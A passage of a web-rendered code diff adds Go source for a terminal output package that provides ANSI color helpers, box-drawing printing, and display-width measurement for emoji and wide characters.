stat, err := f.Stat()
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return stat.Mode()&os.ModeCharDevice != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) paint(code, text string) string {
|
||||||
|
if !s.enabled || text == "" {
|
||||||
|
return text
|
||||||
|
}
|
||||||
|
return code + text + codeReset
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) Bold(text string) string { return s.paint(codeBold, text) }
|
||||||
|
func (s *Style) Dim(text string) string { return s.paint(codeDim, text) }
|
||||||
|
func (s *Style) Red(text string) string { return s.paint(codeRed, text) }
|
||||||
|
func (s *Style) Green(text string) string { return s.paint(codeGreen, text) }
|
||||||
|
func (s *Style) Yellow(text string) string { return s.paint(codeYellow, text) }
|
||||||
|
func (s *Style) Blue(text string) string { return s.paint(codeBlue, text) }
|
||||||
|
func (s *Style) Cyan(text string) string { return s.paint(codeCyan, text) }
|
||||||
|
func (s *Style) White(text string) string { return s.paint(codeWhite, text) }
|
||||||
|
|
||||||
|
func (s *Style) Println(text string) {
|
||||||
|
_, _ = fmt.Fprintln(s.out, text)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) Printf(format string, args ...interface{}) {
|
||||||
|
_, _ = fmt.Fprintf(s.out, format, args...)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) BlankLine() {
|
||||||
|
s.Println("")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) boxTop(innerWidth int) string {
|
||||||
|
return s.Cyan("╭" + strings.Repeat("─", innerWidth+2) + "╮")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) boxBottom(innerWidth int) string {
|
||||||
|
return s.Cyan("╰" + strings.Repeat("─", innerWidth+2) + "╯")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) boxRow(innerWidth int, content string) string {
|
||||||
|
return s.Cyan("│ ") + padRightDisplay(content, innerWidth) + s.Cyan(" │")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Style) printBox(rows []string, minInner, maxInner int) {
|
||||||
|
inner := maxDisplayWidth(rows...)
|
||||||
|
if inner < minInner {
|
||||||
|
inner = minInner
|
||||||
|
}
|
||||||
|
if maxInner > 0 && inner > maxInner {
|
||||||
|
inner = maxInner
|
||||||
|
}
|
||||||
|
|
||||||
|
s.BlankLine()
|
||||||
|
s.Println(s.boxTop(inner))
|
||||||
|
for _, row := range rows {
|
||||||
|
s.Println(s.boxRow(inner, row))
|
||||||
|
}
|
||||||
|
s.Println(s.boxBottom(inner))
|
||||||
|
s.BlankLine()
|
||||||
|
}
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
package termout
|
||||||
|
|
||||||
|
import (
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"golang.org/x/text/width"
|
||||||
|
)
|
||||||
|
|
||||||
|
var ansiEscapeRe = regexp.MustCompile(`\x1b\[[0-9;]*m`)
|
||||||
|
|
||||||
|
// displayWidth returns the terminal display width of text, ignoring ANSI codes.
|
||||||
|
func displayWidth(text string) int {
|
||||||
|
plain := ansiEscapeRe.ReplaceAllString(text, "")
|
||||||
|
w := 0
|
||||||
|
for _, r := range plain {
|
||||||
|
w += runeDisplayWidth(r)
|
||||||
|
}
|
||||||
|
return w
|
||||||
|
}
|
||||||
|
|
||||||
|
func runeDisplayWidth(r rune) int {
|
||||||
|
if r == utf8.RuneError {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
// Most emoji / symbols render as double-width in modern terminals.
|
||||||
|
if isEmojiLikeRune(r) {
|
||||||
|
return 2
|
||||||
|
}
|
||||||
|
switch width.LookupRune(r).Kind() {
|
||||||
|
case width.EastAsianWide, width.EastAsianFullwidth:
|
||||||
|
return 2
|
||||||
|
default:
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func isEmojiLikeRune(r rune) bool {
|
||||||
|
switch {
|
||||||
|
case r >= 0x1F300 && r <= 0x1FAFF: // pictographs / emoji
|
||||||
|
return true
|
||||||
|
case r >= 0x2600 && r <= 0x27BF: // misc symbols
|
||||||
|
return true
|
||||||
|
case r >= 0x2300 && r <= 0x23FF: // misc technical (⌚ etc.)
|
||||||
|
return true
|
||||||
|
case r >= 0x2B50 && r <= 0x2B55:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func padRightDisplay(text string, target int) string {
|
||||||
|
if target <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
gap := target - displayWidth(text)
|
||||||
|
if gap <= 0 {
|
||||||
|
return text
|
||||||
|
}
|
||||||
|
return text + strings.Repeat(" ", gap)
|
||||||
|
}
|
||||||
|
|
||||||
|
func maxDisplayWidth(rows ...string) int {
|
||||||
|
max := 0
|
||||||
|
for _, row := range rows {
|
||||||
|
if w := displayWidth(row); w > max {
|
||||||
|
max = w
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return max
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user